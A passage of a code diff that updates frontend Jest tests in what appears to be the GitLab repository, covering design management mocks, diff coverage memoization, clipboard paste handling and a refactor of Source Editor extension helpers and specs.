+++ /dev/null
@@ -1,32 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import DesignNotePin from '~/design_management/components/design_note_pin.vue';
-
-describe('Design note pin component', () => {
- let wrapper;
-
- function createComponent(propsData = {}) {
- wrapper = shallowMount(DesignNotePin, {
- propsData: {
- position: {
- left: '10px',
- top: '10px',
- },
- ...propsData,
- },
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('should match the snapshot of note without index', () => {
- createComponent();
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('should match the snapshot of note with index', () => {
- createComponent({ label: 1 });
- expect(wrapper.element).toMatchSnapshot();
- });
-});
diff --git a/spec/frontend/design_management/mock_data/apollo_mock.js b/spec/frontend/design_management/mock_data/apollo_mock.js
index cdd07a16e90..2a43b5debee 100644
--- a/spec/frontend/design_management/mock_data/apollo_mock.js
+++ b/spec/frontend/design_management/mock_data/apollo_mock.js
@@ -5,6 +5,7 @@ export const designListQueryResponse = {
id: '1',
issue: {
__typename: 'Issue',
+ id: 'issue-1',
designCollection: {
__typename: 'DesignCollection',
copyState: 'READY',
@@ -97,6 +98,7 @@ export const permissionsQueryResponse = {
id: '1',
issue: {
__typename: 'Issue',
+ id: 'issue-1',
userPermissions: { __typename: 'UserPermissions', createDesign: true },
},
},
diff --git a/spec/frontend/diffs/components/diff_discussions_spec.js b/spec/frontend/diffs/components/diff_discussions_spec.js
index c847a79435a..bd6f4cd2545 100644
--- a/spec/frontend/diffs/components/diff_discussions_spec.js
+++ b/spec/frontend/diffs/components/diff_discussions_spec.js
@@ -1,7 +1,6 @@
import { GlIcon } from '@gitlab/ui';
import { mount, createLocalVue } from '@vue/test-utils';
import DiffDiscussions from '~/diffs/components/diff_discussions.vue';
-import { discussionIntersectionObserverHandlerFactory } from '~/diffs/utils/discussions';
import { createStore } from '~/mr_notes/stores';
import DiscussionNotes from '~/notes/components/discussion_notes.vue';
import NoteableDiscussion from '~/notes/components/noteable_discussion.vue';
@@ -20,9 +19,6 @@ describe('DiffDiscussions', () => {
store = createStore();
wrapper = mount(localVue.extend(DiffDiscussions), {
store,
- provide: {
- discussionObserverHandler: discussionIntersectionObserverHandlerFactory(),
- },
propsData: {
discussions: getDiscussionsMockData(),
...props,
diff --git a/spec/frontend/diffs/components/diff_file_spec.js b/spec/frontend/diffs/components/diff_file_spec.js
index feb7118744b..dc0ed621a64 100644
--- a/spec/frontend/diffs/components/diff_file_spec.js
+++ b/spec/frontend/diffs/components/diff_file_spec.js
@@ -3,7 +3,7 @@ import MockAdapter from 'axios-mock-adapter';
import { nextTick } from 'vue';
import Vuex from 'vuex';
-import DiffContentComponent from '~/diffs/components/diff_content.vue';
+import DiffContentComponent from 'jh_else_ce/diffs/components/diff_content.vue';
import DiffFileComponent from '~/diffs/components/diff_file.vue';
import DiffFileHeaderComponent from '~/diffs/components/diff_file_header.vue';
diff --git a/spec/frontend/diffs/components/diff_row_spec.js b/spec/frontend/diffs/components/diff_row_spec.js
index c0c92908701..4c5ce429c9d 100644
--- a/spec/frontend/diffs/components/diff_row_spec.js
+++ b/spec/frontend/diffs/components/diff_row_spec.js
@@ -277,3 +277,36 @@ describe('DiffRow', () => {
});
});
});
+
+describe('coverage state memoization', () => {
+ it('updates when coverage is loaded', () => {
+ const lineWithoutCoverage = {};
+ const lineWithCoverage = {
+ text: 'Test coverage: 5 hits',
+ class: 'coverage',
+ };
+
+ const unchangedProps = {
+ inline: true,
+ filePath: 'file/path',
+ line: { left: { new_line: 3 } },
+ };
+
+ const noCoverageProps = {
+ fileLineCoverage: () => lineWithoutCoverage,
+ coverageLoaded: false,
+ ...unchangedProps,
+ };
+ const coverageProps = {
+ fileLineCoverage: () => lineWithCoverage,
+ coverageLoaded: true,
+ ...unchangedProps,
+ };
+
+ // this caches no coverage for the line
+ expect(DiffRow.coverageStateLeft(noCoverageProps)).toStrictEqual(lineWithoutCoverage);
+
+ // this retrieves coverage for the line because it has been recached
+ expect(DiffRow.coverageStateLeft(coverageProps)).toStrictEqual(lineWithCoverage);
+ });
+});
diff --git a/spec/frontend/diffs/store/mutations_spec.js b/spec/frontend/diffs/store/mutations_spec.js
index c104fcd5fb9..d8611b1ce1b 100644
--- a/spec/frontend/diffs/store/mutations_spec.js
+++ b/spec/frontend/diffs/store/mutations_spec.js
@@ -112,6 +112,7 @@ describe('DiffsStoreMutations', () => {
mutations[types.SET_COVERAGE_DATA](state, coverage);
expect(state.coverageFiles).toEqual(coverage);
+ expect(state.coverageLoaded).toEqual(true);
});
});
diff --git a/spec/frontend/diffs/utils/discussions_spec.js b/spec/frontend/diffs/utils/discussions_spec.js
deleted file mode 100644
index 9a3d442d943..00000000000
--- a/spec/frontend/diffs/utils/discussions_spec.js
+++ /dev/null
@@ -1,133 +0,0 @@
-import { discussionIntersectionObserverHandlerFactory } from '~/diffs/utils/discussions';
-
-describe('Diff Discussions Utils', () => {
- describe('discussionIntersectionObserverHandlerFactory', () => {
- it('creates a handler function', () => {
- expect(discussionIntersectionObserverHandlerFactory()).toBeInstanceOf(Function);
- });
-
- describe('intersection observer handler', () => {
- const functions = {
- setCurrentDiscussionId: jest.fn(),
- getPreviousUnresolvedDiscussionId: jest.fn().mockImplementation((id) => {
- return Number(id) - 1;
- }),
- };
- const defaultProcessableWrapper = {
- entry: {
- time: 0,
- isIntersecting: true,
- rootBounds: {
- bottom: 0,
- },
- boundingClientRect: {
- top: 0,
- },
- },
- currentDiscussion: {
- id: 1,
- },
- isFirstUnresolved: false,
- isDiffsPage: true,
- };
- let handler;
- let getMock;
- let setMock;
-
- beforeEach(() => {
- functions.setCurrentDiscussionId.mockClear();
- functions.getPreviousUnresolvedDiscussionId.mockClear();
-
- defaultProcessableWrapper.functions = functions;
-
- setMock = functions.setCurrentDiscussionId.mock;
- getMock = functions.getPreviousUnresolvedDiscussionId.mock;
- handler = discussionIntersectionObserverHandlerFactory();
- });
-
- it('debounces multiple simultaneous requests into one queue', () => {
- handler(defaultProcessableWrapper);
- handler(defaultProcessableWrapper);
- handler(defaultProcessableWrapper);
- handler(defaultProcessableWrapper);
-
- expect(setTimeout).toHaveBeenCalledTimes(4);
- expect(clearTimeout).toHaveBeenCalledTimes(3);
-
- // By only advancing to one timer, we ensure it's all being batched into one queue
- jest.advanceTimersToNextTimer();
-
- expect(functions.setCurrentDiscussionId).toHaveBeenCalledTimes(4);
- });
-
- it('properly processes, sorts and executes the correct actions for a set of observed intersections', () => {
- handler(defaultProcessableWrapper);
- handler({
- // This observation is here to be filtered out because it's a scrollDown
- ...defaultProcessableWrapper,
- entry: {
- ...defaultProcessableWrapper.entry,
- isIntersecting: false,
- boundingClientRect: { top: 10 },
- rootBounds: { bottom: 100 },
- },
- });
- handler({
- ...defaultProcessableWrapper,
- entry: {
- ...defaultProcessableWrapper.entry,
- time: 101,
- isIntersecting: false,
- rootBounds: { bottom: -100 },
- },
- currentDiscussion: { id: 20 },
- });
- handler({
- ...defaultProcessableWrapper,
- entry: {
- ...defaultProcessableWrapper.entry,
- time: 100,
- isIntersecting: false,
- boundingClientRect: { top: 100 },
- },
- currentDiscussion: { id: 30 },
- isDiffsPage: false,
- });
- handler({
- ...defaultProcessableWrapper,
- isFirstUnresolved: true,
- entry: {
- ...defaultProcessableWrapper.entry,
- time: 100,
- isIntersecting: false,
- boundingClientRect: { top: 200 },
- },
- });
-
- jest.advanceTimersToNextTimer();
-
- expect(setMock.calls.length).toBe(4);
- expect(setMock.calls[0]).toEqual([1]);
- expect(setMock.calls[1]).toEqual([29]);
- expect(setMock.calls[2]).toEqual([null]);
- expect(setMock.calls[3]).toEqual([19]);
-
- expect(getMock.calls.length).toBe(2);
- expect(getMock.calls[0]).toEqual([30, false]);
- expect(getMock.calls[1]).toEqual([20, true]);
-
- [
- setMock.invocationCallOrder[0],
- getMock.invocationCallOrder[0],
- setMock.invocationCallOrder[1],
- setMock.invocationCallOrder[2],
- getMock.invocationCallOrder[1],
- setMock.invocationCallOrder[3],
- ].forEach((order, idx, list) => {
- // Compare each invocation sequence to the one before it (except the first one)
- expect(list[idx - 1] || -1).toBeLessThan(order);
- });
- });
- });
- });
-});
diff --git a/spec/frontend/dropzone_input_spec.js b/spec/frontend/dropzone_input_spec.js
index 12e10f7c5f4..11414e8890d 100644
--- a/spec/frontend/dropzone_input_spec.js
+++ b/spec/frontend/dropzone_input_spec.js
@@ -32,6 +32,8 @@ describe('dropzone_input', () => {
});
describe('handlePaste', () => {
+ let form;
+
const triggerPasteEvent = (clipboardData = {}) => {
const event = $.Event('paste');
const origEvent = new Event('paste');
@@ -45,11 +47,15 @@ describe('dropzone_input', () => {
beforeEach(() => {
loadFixtures('issues/new-issue.html');
- const form = $('#new_issue');
+ form = $('#new_issue');
form.data('uploads-path', TEST_UPLOAD_PATH);
dropzoneInput(form);
});
+ afterEach(() => {
+ form = null;
+ });
+
it('pastes Markdown tables', () => {
jest.spyOn(PasteMarkdownTable.prototype, 'isTable');
jest.spyOn(PasteMarkdownTable.prototype, 'convertToTableMarkdown');
@@ -86,6 +92,27 @@ describe('dropzone_input', () => {
expect(axiosMock.history.post[0].data.get('file').name).toHaveLength(246);
});
+ it('disables generated image file when clipboardData have both image and text', () => {
+ const TEST_PLAIN_TEXT = 'This wording is a plain text.';
+ triggerPasteEvent({
+ types: ['text/plain', 'Files'],
+ getData: () => TEST_PLAIN_TEXT,
+ items: [
+ {
+ kind: 'text',
+ type: 'text/plain',
+ },
+ {
+ kind: 'file',
+ type: 'image/png',
+ getAsFile: () => new Blob(),
+ },
+ ],
+ });
+
+ expect(form.find('.js-gfm-input')[0].value).toBe('');
+ });
+
it('display original file name in comment box', async () => {
const axiosMock = new MockAdapter(axios);
triggerPasteEvent({
diff --git a/spec/frontend/editor/helpers.js b/spec/frontend/editor/helpers.js
index 6f7cdf6efb3..252d783ad6d 100644
--- a/spec/frontend/editor/helpers.js
+++ b/spec/frontend/editor/helpers.js
@@ -1,4 +1,22 @@
-export class MyClassExtension {
+/* eslint-disable max-classes-per-file */
+
+// Helpers
+export const spyOnApi = (extension, spiesObj = {}) => {
+ const origApi = extension.api;
+ if (extension?.obj) {
+ jest.spyOn(extension.obj, 'provides').mockReturnValue({
+ ...origApi,
+ ...spiesObj,
+ });
+ }
+};
+
+// Dummy Extensions
+export class SEClassExtension {
+ static get extensionName() {
+ return 'SEClassExtension';
+ }
+
// eslint-disable-next-line class-methods-use-this
provides() {
return {
@@ -8,8 +26,9 @@ export class MyClassExtension {
}
}
-export function MyFnExtension() {
+export function SEFnExtension() {
return {
+ extensionName: 'SEFnExtension',
fnExtMethod: () => 'fn own method',
provides: () => {
return {
@@ -19,8 +38,9 @@ export function MyFnExtension() {
};
}
-export const MyConstExt = () => {
+export const SEConstExt = () => {
return {
+ extensionName: 'SEConstExt',
provides: () => {
return {
constExtMethod: () => 'const own method',
@@ -29,9 +49,39 @@ export const MyConstExt = () => {
};
};
+export class SEWithSetupExt {
+ static get extensionName() {
+ return 'SEWithSetupExt';
+ }
+ // eslint-disable-next-line class-methods-use-this
+ onSetup(instance, setupOptions = {}) {
+ if (setupOptions && !Array.isArray(setupOptions)) {
+ Object.entries(setupOptions).forEach(([key, value]) => {
+ Object.assign(instance, {
+ [key]: value,
+ });
+ });
+ }
+ }
+ provides() {
+ return {
+ returnInstanceAndProps: (instance, stringProp, objProp = {}) => {
+ return [stringProp, objProp, instance];
+ },
+ returnInstance: (instance) => {
+ return instance;
+ },
+ giveMeContext: () => {
+ return this;
+ },
+ };
+ }
+}
+
export const conflictingExtensions = {
WithInstanceExt: () => {
return {
+ extensionName: 'WithInstanceExt',
provides: () => {
return {
use: () => 'A conflict with instance',
@@ -42,6 +92,7 @@ export const conflictingExtensions = {
},
WithAnotherExt: () => {
return {
+ extensionName: 'WithAnotherExt',
provides: () => {
return {
shared: () => 'A conflict with extension',
diff --git a/spec/frontend/editor/source_editor_ci_schema_ext_spec.js b/spec/frontend/editor/source_editor_ci_schema_ext_spec.js
index 8a0d1ecf1af..5eaac9e9ef9 100644
--- a/spec/frontend/editor/source_editor_ci_schema_ext_spec.js
+++ b/spec/frontend/editor/source_editor_ci_schema_ext_spec.js
@@ -23,7 +23,7 @@ describe('~/editor/editor_ci_config_ext', () => {
blobPath,
blobContent: '',
});
- instance.use(new CiSchemaExtension());
+ instance.use({ definition: CiSchemaExtension });
};
beforeAll(() => {
diff --git a/spec/frontend/editor/source_editor_extension_base_spec.js b/spec/frontend/editor/source_editor_extension_base_spec.js
index a0fb1178b3b..6606557fd1f 100644
--- a/spec/frontend/editor/source_editor_extension_base_spec.js
+++ b/spec/frontend/editor/source_editor_extension_base_spec.js
@@ -2,40 +2,25 @@ import { Range } from 'monaco-editor';
import { useFakeRequestAnimationFrame } from 'helpers/fake_request_animation_frame';
import setWindowLocation from 'helpers/set_window_location_helper';
import {
- ERROR_INSTANCE_REQUIRED_FOR_EXTENSION,
EDITOR_TYPE_CODE,
EDITOR_TYPE_DIFF,
+ EXTENSION_BASE_LINE_LINK_ANCHOR_CLASS,
+ EXTENSION_BASE_LINE_NUMBERS_CLASS,
} from '~/editor/constants';
import { SourceEditorExtension } from '~/editor/extensions/source_editor_extension_base';
-
-jest.mock('~/helpers/startup_css_helper', () => {
- return {
- waitForCSSLoaded: jest.fn().mockImplementation((cb) => {
- // We have to artificially put the callback's execution
- // to the end of the current call stack to be able to
- // test that the callback is called after waitForCSSLoaded.
- // setTimeout with 0 delay does exactly that.
- // Otherwise we might end up with false positive results
- setTimeout(() => {
- cb.apply();
- }, 0);
- }),
- };
-});
+import EditorInstance from '~/editor/source_editor_instance';
describe('The basis for an Source Editor extension', () => {
const defaultLine = 3;
- let ext;
let event;
- const defaultOptions = { foo: 'bar' };
const findLine = (num) => {
- return document.querySelector(`.line-numbers:nth-child(${num})`);
+ return document.querySelector(`.${EXTENSION_BASE_LINE_NUMBERS_CLASS}:nth-child(${num})`);
};
const generateLines = () => {
let res = '';
for (let line = 1, lines = 5; line <= lines; line += 1) {
- res += `<div class="line-numbers">${line}</div>`;
+ res += `<div class="${EXTENSION_BASE_LINE_NUMBERS_CLASS}">${line}</div>`;
}
return res;
};
@@ -49,6 +34,9 @@ describe('The basis for an Source Editor extension', () => {
},
};
};
+ const createInstance = (baseInstance = {}) => {
+ return new EditorInstance(baseInstance);
+ };
beforeEach(() => {
setFixtures(generateLines());
@@ -59,95 +47,47 @@ describe('The basis for an Source Editor extension', () => {
jest.clearAllMocks();
});
- describe('constructor', () => {
- it('resets the layout in waitForCSSLoaded callback', async () => {
- const instance = {
- layout: jest.fn(),
- };
- ext = new SourceEditorExtension({ instance });
- expect(instance.layout).not.toHaveBeenCalled();
-
- // We're waiting for the waitForCSSLoaded mock to kick in
- await jest.runOnlyPendingTimers();
+ describe('onUse callback', () => {
+ it('initializes the line highlighting', () => {
+ const instance = createInstance();
+ const spy = jest.spyOn(SourceEditorExtension, 'highlightLines');
- expect(instance.layout).toHaveBeenCalled();
+ instance.use({ definition: SourceEditorExtension });
+ expect(spy).toHaveBeenCalled();
});
it.each`
- description | instance | options
- ${'accepts configuration options and instance'} | ${{}} | ${defaultOptions}
- ${'leaves instance intact if no options are passed'} | ${{}} | ${undefined}
- ${'does not fail if both instance and the options are omitted'} | ${undefined} | ${undefined}
- ${'throws if only options are passed'} | ${undefined} | ${defaultOptions}
- `('$description', ({ instance, options } = {}) => {
- SourceEditorExtension.deferRerender = jest.fn();
- const originalInstance = { ...instance };
-
- if (instance) {
- if (options) {
- Object.entries(options).forEach((prop) => {
- expect(instance[prop]).toBeUndefined();
- });
- // Both instance and options are passed
- ext = new SourceEditorExtension({ instance, ...options });
- Object.entries(options).forEach(([prop, value]) => {
- expect(ext[prop]).toBeUndefined();
- expect(instance[prop]).toBe(value);
- });
+ description | instanceType | shouldBeCalled
+ ${'Sets up'} | ${EDITOR_TYPE_CODE} | ${true}
+ ${'Does not set up'} | ${EDITOR_TYPE_DIFF} | ${false}
+ `(
+ '$description the line linking for $instanceType instance',
+ ({ instanceType, shouldBeCalled }) => {
+ const instance = createInstance({
+ getEditorType: jest.fn().mockReturnValue(instanceType),
+ onMouseMove: jest.fn(),
+ onMouseDown: jest.fn(),
+ });
+ const spy = jest.spyOn(SourceEditorExtension, 'setupLineLinking');
+
+ instance.use({ definition: SourceEditorExtension });
+ if (shouldBeCalled) {
+ expect(spy).toHaveBeenCalledWith(instance);
} else {
- ext = new SourceEditorExtension({ instance });
- expect(instance).toEqual(originalInstance);
+ expect(spy).not.toHaveBeenCalled();
}
- } else if (options) {
- // Options are passed without instance
- expect(() => {
- ext = new SourceEditorExtension({ ...options });
- }).toThrow(ERROR_INSTANCE_REQUIRED_FOR_EXTENSION);
- } else {
- // Neither options nor instance are passed
- expect(() => {
- ext = new SourceEditorExtension();
- }).not.toThrow();
- }
- });
-
- it('initializes the line highlighting', () => {
- SourceEditorExtension.deferRerender = jest.fn();
- const spy = jest.spyOn(SourceEditorExtension, 'highlightLines');
- ext = new SourceEditorExtension({ instance: {} });
- expect(spy).toHaveBeenCalled();
- });
-
- it('sets up the line linking for code instance', () => {
- SourceEditorExtension.deferRerender = jest.fn();
- const spy = jest.spyOn(SourceEditorExtension, 'setupLineLinking');
- const instance = {
- getEditorType: jest.fn().mockReturnValue(EDITOR_TYPE_CODE),
- onMouseMove: jest.fn(),
- onMouseDown: jest.fn(),
- };
- ext = new SourceEditorExtension({ instance });
- expect(spy).toHaveBeenCalledWith(instance);
- });
-
- it('does not set up the line linking for diff instance', () => {
- SourceEditorExtension.deferRerender = jest.fn();
- const spy = jest.spyOn(SourceEditorExtension, 'setupLineLinking');
- const instance = {
- getEditorType: jest.fn().mockReturnValue(EDITOR_TYPE_DIFF),
- };
- ext = new SourceEditorExtension({ instance });
- expect(spy).not.toHaveBeenCalled();
- });
+ },
+ );
});
describe('highlightLines', () => {
const revealSpy = jest.fn();
const decorationsSpy = jest.fn();
- const instance = {
+ const instance = createInstance({
revealLineInCenter: revealSpy,
deltaDecorations: decorationsSpy,
- };
+ });
+ instance.use({ definition: SourceEditorExtension });
const defaultDecorationOptions = {
isWholeLine: true,
className: 'active-line-text',
@@ -175,7 +115,7 @@ describe('The basis for an Source Editor extension', () => {
${'uses bounds if both hash and bounds exist'} | ${'#L7-42'} | ${[3, 5]} | ${true} | ${[3, 1, 5, 1]}
`('$desc', ({ hash, bounds, shouldReveal, expectedRange } = {}) => {
window.location.hash = hash;
- SourceEditorExtension.highlightLines(instance, bounds);
+ instance.highlightLines(bounds);
if (!shouldReveal) {
expect(revealSpy).not.toHaveBeenCalled();
expect(decorationsSpy).not.toHaveBeenCalled();
@@ -193,11 +133,11 @@ describe('The basis for an Source Editor extension', () => {
}
});
- it('stores the line decorations on the instance', () => {
+ it('stores the line decorations on the instance', () => {
decorationsSpy.mockReturnValue('foo');
window.location.hash = '#L10';
expect(instance.lineDecorations).toBeUndefined();
- SourceEditorExtension.highlightLines(instance);
+ instance.highlightLines();
expect(instance.lineDecorations).toBe('foo');
});
@@ -215,7 +155,7 @@ describe('The basis for an Source Editor extension', () => {
},
];
instance.lineDecorations = oldLineDecorations;
- SourceEditorExtension.highlightLines(instance, [7, 10]);
+ instance.highlightLines([7, 10]);
expect(decorationsSpy).toHaveBeenCalledWith(oldLineDecorations, newLineDecorations);
});
});
@@ -228,13 +168,18 @@ describe('The basis for an Source Editor extension', () => {
options: { isWholeLine: true, className: 'active-line-text' },
},
];
- const instance = {
- deltaDecorations: decorationsSpy,
- lineDecorations,
- };
+ let instance;
+
+ beforeEach(() => {
+ instance = createInstance({
+ deltaDecorations: decorationsSpy,
+ lineDecorations,
+ });
+ instance.use({ definition: SourceEditorExtension });
+ });
it('removes all existing decorations', () => {
- SourceEditorExtension.removeHighlights(instance);
+ instance.removeHighlights();
expect(decorationsSpy).toHaveBeenCalledWith(lineDecorations, []);
});
});
@@ -261,9 +206,9 @@ describe('The basis for an Source Editor extension', () => {
});
it.each`
- desc | eventTrigger | shouldRemove
- ${'does not remove the line decorations if the event is triggered on a wrong node'} | ${null} | ${false}
- ${'removes existing line decorations when clicking a line number'} | ${'.link-anchor'} | ${true}
+ desc | eventTrigger | shouldRemove
+ ${'does not remove the line decorations if the event is triggered on a wrong node'} | ${null} | ${false}
+ ${'removes existing line decorations when clicking a line number'} | ${`.${EXTENSION_BASE_LINE_LINK_ANCHOR_CLASS}`} | ${true}
`('$desc', ({ eventTrigger, shouldRemove } = {}) => {
event = generateEventMock({ el: eventTrigger ? document.querySelector(eventTrigger) : null });
instance.onMouseDown.mockImplementation((fn) => {
diff --git a/spec/frontend/editor/source_editor_extension_spec.js b/spec/frontend/editor/source_editor_extension_spec.js
index 6f2eb07a043..c5fa795f3b7 100644
--- a/spec/frontend/editor/source_editor_extension_spec.js
+++ b/spec/frontend/editor/source_editor_extension_spec.js
@@ -22,15 +22,15 @@ describe('Editor Extension', () => {
it.each`
definition | setupOptions | expectedName
- ${helpers.MyClassExtension} | ${undefined} | ${'MyClassExtension'}
- ${helpers.MyClassExtension} | ${{}} | ${'MyClassExtension'}
- ${helpers.MyClassExtension} | ${dummyObj} | ${'MyClassExtension'}
- ${helpers.MyFnExtension} | ${undefined} | ${'MyFnExtension'}
- ${helpers.MyFnExtension} | ${{}} | ${'MyFnExtension'}
- ${helpers.MyFnExtension} | ${dummyObj} | ${'MyFnExtension'}
- ${helpers.MyConstExt} | ${undefined} | ${'MyConstExt'}
- ${helpers.MyConstExt} | ${{}} | ${'MyConstExt'}
- ${helpers.MyConstExt} | ${dummyObj} | ${'MyConstExt'}
+ ${helpers.SEClassExtension} | ${undefined} | ${'SEClassExtension'}
+ ${helpers.SEClassExtension} | ${{}} | ${'SEClassExtension'}
+ ${helpers.SEClassExtension} | ${dummyObj} | ${'SEClassExtension'}
+ ${helpers.SEFnExtension} | ${undefined} | ${'SEFnExtension'}
+ ${helpers.SEFnExtension} | ${{}} | ${'SEFnExtension'}
+ ${helpers.SEFnExtension} | ${dummyObj} | ${'SEFnExtension'}
+ ${helpers.SEConstExt} | ${undefined} | ${'SEConstExt'}
+ ${helpers.SEConstExt} | ${{}} | ${'SEConstExt'}
+ ${helpers.SEConstExt} | ${dummyObj} | ${'SEConstExt'}
`(
'correctly creates extension for definition = $definition and setupOptions = $setupOptions',
({ definition, setupOptions, expectedName }) => {
@@ -40,7 +40,7 @@ describe('Editor Extension', () => {
expect(extension).toEqual(
expect.objectContaining({
- name: expectedName,
+ extensionName: expectedName,
setupOptions,
}),
);
@@ -51,9 +51,9 @@ describe('Editor Extension', () => {
describe('api', () => {
it.each`
definition | expectedKeys
- ${helpers.MyClassExtension} | ${['shared', 'classExtMethod']}
- ${helpers.MyFnExtension} | ${['fnExtMethod']}
- ${helpers.MyConstExt} | ${['constExtMethod']}
+ ${helpers.SEClassExtension} | ${['shared', 'classExtMethod']}
+ ${helpers.SEFnExtension} | ${['fnExtMethod']}
+ ${helpers.SEConstExt} | ${['constExtMethod']}
`('correctly returns API for $definition', ({ definition, expectedKeys }) => {
const extension = new EditorExtension({ definition });
const expectedApi = Object.fromEntries(
diff --git a/spec/frontend/editor/source_editor_instance_spec.js b/spec/frontend/editor/source_editor_instance_spec.js
index 87b20a4ba73..f9518743ef8 100644
--- a/spec/frontend/editor/source_editor_instance_spec.js
+++ b/spec/frontend/editor/source_editor_instance_spec.js
@@ -6,31 +6,43 @@ import {
EDITOR_EXTENSION_NOT_REGISTERED_ERROR,
EDITOR_EXTENSION_NOT_SPECIFIED_FOR_UNUSE_ERROR,
} from '~/editor/constants';
-import Instance from '~/editor/source_editor_instance';
+import SourceEditorInstance from '~/editor/source_editor_instance';
import { sprintf } from '~/locale';
-import { MyClassExtension, conflictingExtensions, MyFnExtension, MyConstExt } from './helpers';
+import {
+ SEClassExtension,
+ conflictingExtensions,
+ SEFnExtension,
+ SEConstExt,
+ SEWithSetupExt,
+} from './helpers';
describe('Source Editor Instance', () => {
let seInstance;
const defSetupOptions = { foo: 'bar' };
const fullExtensionsArray = [
- { definition: MyClassExtension },
- { definition: MyFnExtension },
- { definition: MyConstExt },
+ { definition: SEClassExtension },
+ { definition: SEFnExtension },
+ { definition: SEConstExt },
];
const fullExtensionsArrayWithOptions = [
- { definition: MyClassExtension, setupOptions: defSetupOptions },
- { definition: MyFnExtension, setupOptions: defSetupOptions },
- { definition: MyConstExt, setupOptions: defSetupOptions },
+ { definition: SEClassExtension, setupOptions: defSetupOptions },
+ { definition: SEFnExtension, setupOptions: defSetupOptions },
+ { definition: SEConstExt, setupOptions: defSetupOptions },
];
const fooFn = jest.fn();
+ const fooProp = 'foo';
class DummyExt {
// eslint-disable-next-line class-methods-use-this
+ get extensionName() {
+ return 'DummyExt';
+ }
+ // eslint-disable-next-line class-methods-use-this
provides() {
return {
fooFn,
+ fooProp,
};
}
}
@@ -40,26 +52,26 @@ describe('Source Editor Instance', () => {
});
it('sets up the registry for the methods coming from extensions', () => {
- seInstance = new Instance();
+ seInstance = new SourceEditorInstance();
expect(seInstance.methods).toBeDefined();
- seInstance.use({ definition: MyClassExtension });
+ seInstance.use({ definition: SEClassExtension });
expect(seInstance.methods).toEqual({
- shared: 'MyClassExtension',
- classExtMethod: 'MyClassExtension',
+ shared: 'SEClassExtension',
+ classExtMethod: 'SEClassExtension',
});
- seInstance.use({ definition: MyFnExtension });
+ seInstance.use({ definition: SEFnExtension });
expect(seInstance.methods).toEqual({
- shared: 'MyClassExtension',
- classExtMethod: 'MyClassExtension',
- fnExtMethod: 'MyFnExtension',
+ shared: 'SEClassExtension',
+ classExtMethod: 'SEClassExtension',
+ fnExtMethod: 'SEFnExtension',
});
});
describe('proxy', () => {
- it('returns prop from an extension if extension provides it', () => {
- seInstance = new Instance();
+ it('returns a method from an extension if extension provides it', () => {
+ seInstance = new SourceEditorInstance();
seInstance.use({ definition: DummyExt });
expect(fooFn).not.toHaveBeenCalled();
@@ -67,20 +79,77 @@ describe('Source Editor Instance', () => {
expect(fooFn).toHaveBeenCalled();
});
+ it('returns a prop from an extension if extension provides it', () => {
+ seInstance = new SourceEditorInstance();
+ seInstance.use({ definition: DummyExt });
+
+ expect(seInstance.fooProp).toBe('foo');
+ });
+
+ it.each`
+ stringPropToPass | objPropToPass | setupOptions
+ ${undefined} | ${undefined} | ${undefined}
+ ${'prop'} | ${undefined} | ${undefined}
+ ${'prop'} | ${[]} | ${undefined}
+ ${'prop'} | ${{}} | ${undefined}
+ ${'prop'} | ${{ alpha: 'beta' }} | ${undefined}
+ ${'prop'} | ${{ alpha: 'beta' }} | ${defSetupOptions}
+ ${'prop'} | ${undefined} | ${defSetupOptions}
+ ${undefined} | ${undefined} | ${defSetupOptions}
+ ${''} | ${{}} | ${defSetupOptions}
+ `(
+ 'correctly passes arguments ("$stringPropToPass", "$objPropToPass") and instance (with "$setupOptions" setupOptions) to extension methods',
+ ({ stringPropToPass, objPropToPass, setupOptions }) => {
+ seInstance = new SourceEditorInstance();
+ seInstance.use({ definition: SEWithSetupExt, setupOptions });
+
+ const [stringProp, objProp, instance] = seInstance.returnInstanceAndProps(
+ stringPropToPass,
+ objPropToPass,
+ );
+ const expectedObjProps = objPropToPass || {};
+
+ expect(instance).toBe(seInstance);
+ expect(stringProp).toBe(stringPropToPass);
+ expect(objProp).toEqual(expectedObjProps);
+ if (setupOptions) {
+ Object.keys(setupOptions).forEach((key) => {
+ expect(instance[key]).toBe(setupOptions[key]);
+ });
+ }
+ },
+ );
+
+ it('correctly passes instance to the methods even if no additional props have been passed', () => {
+ seInstance = new SourceEditorInstance();
+ seInstance.use({ definition: SEWithSetupExt });
+
+ const instance = seInstance.returnInstance();
+
+ expect(instance).toBe(seInstance);
+ });
+
+ it("correctly sets the context of the 'this' keyword for the extension's methods", () => {
+ seInstance = new SourceEditorInstance();
+ const extension = seInstance.use({ definition: SEWithSetupExt });
+
+ expect(seInstance.giveMeContext()).toEqual(extension.obj);
+ });
+
it('returns props from SE instance itself if no extension provides the prop', () => {
- seInstance = new Instance({
+ seInstance = new SourceEditorInstance({
use: fooFn,
});
- jest.spyOn(seInstance, 'use').mockImplementation(() => {});
- expect(seInstance.use).not.toHaveBeenCalled();
+ const spy = jest.spyOn(seInstance.constructor.prototype, 'use').mockImplementation(() => {});
+ expect(spy).not.toHaveBeenCalled();
expect(fooFn).not.toHaveBeenCalled();
seInstance.use();
- expect(seInstance.use).toHaveBeenCalled();
+ expect(spy).toHaveBeenCalled();
expect(fooFn).not.toHaveBeenCalled();
});
it('returns props from Monaco instance when the prop does not exist on the SE instance', () => {
- seInstance = new Instance({
+ seInstance = new SourceEditorInstance({
fooFn,
});
@@ -92,13 +161,13 @@ describe('Source Editor Instance', () => {
describe('public API', () => {
it.each(['use', 'unuse'], 'provides "%s" as public method by default', (method) => {
- seInstance = new Instance();
+ seInstance = new SourceEditorInstance();
expect(seInstance[method]).toBeDefined();
});
describe('use', () => {
it('extends the SE instance with methods provided by an extension', () => {
- seInstance = new Instance();
+ seInstance = new SourceEditorInstance();
seInstance.use({ definition: DummyExt });
expect(fooFn).not.toHaveBeenCalled();
@@ -108,15 +177,15 @@ describe('Source Editor Instance', () => {
it.each`
extensions | expectedProps
- ${{ definition: MyClassExtension }} | ${['shared', 'classExtMethod']}
- ${{ definition: MyFnExtension }} | ${['fnExtMethod']}
- ${{ definition: MyConstExt }} | ${['constExtMethod']}
+ ${{ definition: SEClassExtension }} | ${['shared', 'classExtMethod']}
+ ${{ definition: SEFnExtension }} | ${['fnExtMethod']}
+ ${{ definition: SEConstExt }} | ${['constExtMethod']}
${fullExtensionsArray} | ${['shared', 'classExtMethod', 'fnExtMethod', 'constExtMethod']}
